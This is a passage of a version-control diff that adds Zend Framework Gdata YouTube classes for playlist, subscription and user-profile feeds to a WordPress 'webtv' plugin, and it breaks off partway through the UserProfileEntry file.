+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+            ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The yt:playlistId ' . 
+                'element is not supported in versions earlier than 2.');
+        } else {
+            return $this->_playlistId;
+        }
+    }
+
+    /**
+     * Sets the array of embedded feeds related to the playlist
+     *
+     * @param array $feedLink The array of embedded feeds relating to the video
+     * @return Zend_Gdata_YouTube_PlaylistListEntry Provides a fluent interface
+     */
+    public function setFeedLink($feedLink = null)
+    {
+        $this->_feedLink = $feedLink;
+        return $this;
+    }
+
+    /**
+     * Get the feed link property for this entry.
+     *
+     * @see setFeedLink
+     * @param string $rel (optional) The rel value of the link to be found.
+     *          If null, the array of links is returned.
+     * @return mixed If $rel is specified, a Zend_Gdata_Extension_FeedLink
+     *          object corresponding to the requested rel value is returned
+     *          if found, or null if the requested value is not found. If
+     *          $rel is null or not specified, an array of all available
+     *          feed links for this entry is returned, or null if no feed
+     *          links are set.
+     */
+    public function getFeedLink($rel = null)
+    {
+        if ($rel == null) {
+            return $this->_feedLink;
+        } else {
+            foreach ($this->_feedLink as $feedLink) {
+                if ($feedLink->rel == $rel) {
+                    return $feedLink;
+                }
+            }
+            return null;
+        }
+    }
+
+    /**
+     * Returns the URL of the playlist video feed
+     *
+     * @return string The URL of the playlist video feed
+     */
+    public function getPlaylistVideoFeedUrl()
+    {
+        if ($this->getMajorProtocolVersion() >= 2) {
+            return $this->getContent()->getSrc();
+        } else {
+            return $this->getFeedLink(Zend_Gdata_YouTube::PLAYLIST_REL)->href;
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistListFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistListFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistListFeed.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Feed
+ */
+require_once 'Zend/Gdata/Media/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_PlaylistListEntry
+ */
+require_once 'Zend/Gdata/YouTube/PlaylistListEntry.php';
+
+/**
+ * The YouTube video playlist flavor of an Atom Feed with media support
+ * Represents a list of individual playlists, where each contained entry is
+ * a playlist.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_PlaylistListFeed extends Zend_Gdata_Media_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_PlaylistListEntry';
+
+    /**
+     * Creates a Playlist list feed, representing a list of playlists,
+     * usually associated with an individual user.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistVideoEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistVideoEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistVideoEntry.php	(revision 44)
@@ -0,0 +1,131 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_YouTube_VideoEntry
+ */
+require_once 'Zend/Gdata/YouTube/VideoEntry.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Position
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Position.php';
+
+/**
+ * Represents the YouTube video playlist flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_PlaylistVideoEntry extends Zend_Gdata_YouTube_VideoEntry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_YouTube_PlaylistVideoEntry';
+
+    /**
+     * Position of the entry in the feed, as specified by the user
+     *
+     * @var Zend_Gdata_YouTube_Extension_Position
+     */
+    protected $_position = null;
+
+    /**
+     * Creates a Playlist video entry, representing an individual video
+     * in a list of videos contained within a specific playlist
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_position !== null) {
+            $element->appendChild($this->_position->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('yt') . ':' . 'position':
+            $position = new Zend_Gdata_YouTube_Extension_Position();
+            $position->transferFromDOM($child);
+            $this->_position = $position;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+
+    /**
+     * Sets the array of embedded feeds related to the video
+     *
+     * @param Zend_Gdata_YouTube_Extension_Position $position
+     *     The position of the entry in the feed, as specified by the user.
+     * @return Zend_Gdata_YouTube_PlaylistVideoEntry Provides a fluent interface
+     */
+    public function setPosition($position = null)
+    {
+        $this->_position = $position;
+        return $this;
+    }
+
+    /**
+     * Returns the position of the entry in the feed, as specified by the user
+     *
+     * @return Zend_Gdata_YouTube_Extension_Position The position
+     */
+    public function getPosition()
+    {
+        return $this->_position;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistVideoFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistVideoFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistVideoFeed.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Feed
+ */
+require_once 'Zend/Gdata/Media/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_PlaylistVideoEntry
+ */
+require_once 'Zend/Gdata/YouTube/PlaylistVideoEntry.php';
+
+/**
+ * The YouTube video playlist flavor of an Atom Feed with media support
+ * Represents a list of videos contained in a playlist.  Each entry in this
+ * feed represents an individual video.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_PlaylistVideoFeed extends Zend_Gdata_Media_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_PlaylistVideoEntry';
+
+    /**
+     * Creates a Play Video feed, representing a list of videos contained
+     * within a single playlist.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/SubscriptionEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/SubscriptionEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/SubscriptionEntry.php	(revision 44)
@@ -0,0 +1,445 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_FeedLink
+ */
+require_once 'Zend/Gdata/Extension/FeedLink.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Description
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Description.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_PlaylistTitle
+ */
+require_once 'Zend/Gdata/YouTube/Extension/PlaylistTitle.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_PlaylistId
+ */
+require_once 'Zend/Gdata/YouTube/Extension/PlaylistId.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaThumbnail
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaThumbnail.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Username
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Username.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_CountHint
+ */
+require_once 'Zend/Gdata/YouTube/Extension/CountHint.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_QueryString
+ */
+require_once 'Zend/Gdata/YouTube/Extension/QueryString.php';
+
+/**
+ * Represents the YouTube video subscription flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_SubscriptionEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_YouTube_SubscriptionEntry';
+
+    /**
+     * Nested feed links
+     *
+     * @var array
+     */
+    protected $_feedLink = array();
+    
+    /**
+     * The username of this entry.
+     *
+     * @var Zend_Gdata_YouTube_Extension_Username
+     */
+    protected $_username = null;
+    
+    /**
+     * The playlist title for this entry.
+     * 
+     * This element is only used on subscriptions to playlists.
+     *
+     * @var Zend_Gdata_YouTube_Extension_PlaylistTitle
+     */
+    protected $_playlistTitle = null;
+    
+    /**
+     * The playlist id for this entry.
+     * 
+     * This element is only used on subscriptions to playlists.
+     *
+     * @var Zend_Gdata_YouTube_Extension_PlaylistId
+     */
+    protected $_playlistId = null;
+    
+    /**
+     * The media:thumbnail element for this entry.
+     * 
+     * This element is only used on subscriptions to playlists.
+     *
+     * @var Zend_Gdata_Media_Extension_MediaThumbnail
+     */
+    protected $_mediaThumbnail = null;
+
+    /**
+     * The countHint for this entry.
+     *
+     * @var Zend_Gdata_YouTube_Extension_CountHint
+     */
+    protected $_countHint = null;
+
+    /**
+     * The queryString for this entry.
+     *
+     * @var Zend_Gdata_YouTube_Extension_QueryString
+     */
+    protected $_queryString = null;
+
+    /**
+     * Creates a subscription entry, representing an individual subscription
+     * in a list of subscriptions, usually associated with an individual user.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_countHint != null) {
+            $element->appendChild($this->_countHint->getDOM($element->ownerDocument));
+        }
+        if ($this->_playlistTitle != null) {
+            $element->appendChild($this->_playlistTitle->getDOM($element->ownerDocument));
+        }
+        if ($this->_playlistId != null) {
+            $element->appendChild($this->_playlistId->getDOM($element->ownerDocument));
+        }
+        if ($this->_mediaThumbnail != null) {
+            $element->appendChild($this->_mediaThumbnail->getDOM($element->ownerDocument));
+        }
+        if ($this->_username != null) {
+            $element->appendChild($this->_username->getDOM($element->ownerDocument));
+        }
+        if ($this->_queryString != null) {
+            $element->appendChild($this->_queryString->getDOM($element->ownerDocument));
+        }
+        if ($this->_feedLink != null) {
+            foreach ($this->_feedLink as $feedLink) {
+                $element->appendChild($feedLink->getDOM($element->ownerDocument));
+            }
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gd') . ':' . 'feedLink':
+            $feedLink = new Zend_Gdata_Extension_FeedLink();
+            $feedLink->transferFromDOM($child);
+            $this->_feedLink[] = $feedLink;
+            break;
+        case $this->lookupNamespace('media') . ':' . 'thumbnail':
+            $mediaThumbnail = new Zend_Gdata_Media_Extension_MediaThumbnail();
+            $mediaThumbnail->transferFromDOM($child);
+            $this->_mediaThumbnail = $mediaThumbnail;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'countHint':
+            $countHint = new Zend_Gdata_YouTube_Extension_CountHint();
+            $countHint->transferFromDOM($child);
+            $this->_countHint = $countHint;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'playlistTitle':
+            $playlistTitle = new Zend_Gdata_YouTube_Extension_PlaylistTitle();
+            $playlistTitle->transferFromDOM($child);
+            $this->_playlistTitle = $playlistTitle;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'playlistId':
+            $playlistId = new Zend_Gdata_YouTube_Extension_PlaylistId();
+            $playlistId->transferFromDOM($child);
+            $this->_playlistId = $playlistId;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'queryString':
+            $queryString = new Zend_Gdata_YouTube_Extension_QueryString();
+            $queryString->transferFromDOM($child);
+            $this->_queryString = $queryString;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'username':
+            $username = new Zend_Gdata_YouTube_Extension_Username();
+            $username->transferFromDOM($child);
+            $this->_username = $username;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Sets the array of embedded feeds related to the video
+     *
+     * @param array $feedLink The array of embedded feeds relating to the video
+     * @return Zend_Gdata_YouTube_SubscriptionEntry Provides a fluent interface
+     */
+    public function setFeedLink($feedLink = null)
+    {
+        $this->_feedLink = $feedLink;
+        return $this;
+    }
+
+    /**
+     * Get the feed link property for this entry.
+     *
+     * @see setFeedLink
+     * @param string $rel (optional) The rel value of the link to be found.
+     *          If null, the array of links is returned.
+     * @return mixed If $rel is specified, a Zend_Gdata_Extension_FeedLink
+     *          object corresponding to the requested rel value is returned
+     *          if found, or null if the requested value is not found. If
+     *          $rel is null or not specified, an array of all available
+     *          feed links for this entry is returned, or null if no feed
+     *          links are set.
+     */
+    public function getFeedLink($rel = null)
+    {
+        if ($rel == null) {
+            return $this->_feedLink;
+        } else {
+            foreach ($this->_feedLink as $feedLink) {
+                if ($feedLink->rel == $rel) {
+                    return $feedLink;
+                }
+            }
+            return null;
+        }
+    }
+    
+    /**
+     * Get the playlist title for a 'playlist' subscription.
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_PlaylistId
+     */
+    public function getPlaylistId()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getPlaylistId ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_playlistId;
+        }
+    }
+
+    /**
+     * Sets the yt:playlistId element for a new playlist subscription.
+     *
+     * @param Zend_Gdata_YouTube_Extension_PlaylistId $id The id of 
+     *        the playlist to which to subscribe to.
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_SubscriptionEntry Provides a fluent interface
+     */
+    public function setPlaylistId($id = null)
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The setPlaylistTitle ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            $this->_playlistId = $id;
+            return $this;
+        }
+    }
+
+    /**
+     * Get the queryString of the subscription
+     *
+     * @return Zend_Gdata_YouTube_Extension_QueryString
+     */
+    public function getQueryString()
+    {
+        return $this->_queryString;
+    }
+
+    /**
+     * Sets the yt:queryString element for a new keyword subscription.
+     *
+     * @param Zend_Gdata_YouTube_Extension_QueryString $queryString The query
+     *        string to subscribe to
+     * @return Zend_Gdata_YouTube_SubscriptionEntry Provides a fluent interface
+     */
+    public function setQueryString($queryString = null)
+    {
+        $this->_queryString = $queryString;
+        return $this;
+    }
+
+    /**
+     * Get the playlist title for a 'playlist' subscription.
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_PlaylistTitle
+     */
+    public function getPlaylistTitle()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getPlaylistTitle ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_playlistTitle;
+        }
+    }
+
+    /**
+     * Sets the yt:playlistTitle element for a new playlist subscription.
+     *
+     * @param Zend_Gdata_YouTube_Extension_PlaylistTitle $title The title of 
+     *        the playlist to which to subscribe to.
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_SubscriptionEntry Provides a fluent interface
+     */
+    public function setPlaylistTitle($title = null)
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The setPlaylistTitle ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            $this->_playlistTitle = $title;
+            return $this;
+        }
+    }
+
+    /**
+     * Get the counthint for a subscription.
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_CountHint
+     */
+    public function getCountHint()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getCountHint ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_countHint;
+        }
+    }
+
+    /**
+     * Get the thumbnail for a subscription.
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_Media_Extension_MediaThumbnail
+     */
+    public function getMediaThumbnail()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getMediaThumbnail ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_mediaThumbnail;
+        }
+    }
+    
+    /**
+     * Get the username for a channel subscription.
+     *
+     * @return Zend_Gdata_YouTube_Extension_Username
+     */
+    public function getUsername()
+    {
+        return $this->_username;
+    }
+
+    /**
+     * Sets the username for a new channel subscription.
+     *
+     * @param Zend_Gdata_YouTube_Extension_Username $username The username of 
+     *        the channel to which to subscribe to.
+     * @return Zend_Gdata_YouTube_SubscriptionEntry Provides a fluent interface
+     */
+    public function setUsername($username = null)
+    {
+        $this->_username = $username;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/SubscriptionFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/SubscriptionFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/SubscriptionFeed.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Feed
+ */
+require_once 'Zend/Gdata/Media/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_SubscriptionEntry
+ */
+require_once 'Zend/Gdata/YouTube/SubscriptionEntry.php';
+
+/**
+ * The YouTube video subscription list flavor of an Atom Feed with media support
+ * Represents a list of individual subscriptions, where each contained entry is
+ * a subscription.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_SubscriptionFeed extends Zend_Gdata_Media_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_SubscriptionEntry';
+
+    /**
+     * Creates a Subscription feed, representing a list of subscriptions,
+     * usually associated with an individual user.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/UserProfileEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/UserProfileEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/UserProfileEntry.php	(revision 44)
@@ -0,0 +1,1040 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_FeedLink
+ */
+require_once 'Zend/Gdata/Extension/FeedLink.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Description
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Description.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_AboutMe
+ */
+require_once 'Zend/Gdata/YouTube/Extension/AboutMe.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Age
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Age.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Username
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Username.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Books
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Books.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Company
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Company.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Hobbies
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Hobbies.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Hometown
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Hometown.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Location
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Location.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Movies
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Movies.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Music
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Music.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Occupation
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Occupation.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_School
+ */
+require_once 'Zend/Gdata/YouTube/Extension/School.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Gender
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Gender.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Relationship
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Relationship.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_FirstName
+ */
+require_once 'Zend/Gdata/YouTube/Extension/FirstName.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_LastName
+ */
+require_once 'Zend/Gdata/YouTube/Extension/LastName.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Statistics
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Statistics.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaThumbnail
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaThumbnail.php';
+
+/**
+ * Represents the YouTube video playlist flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_UserProfileEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_YouTube_UserProfileEntry';
+
+    /**
+     * Nested feed links
+     *
+     * @var array
+     */
+    protected $_feedLink = array();
+
+    /**
+     * The username for this profile entry
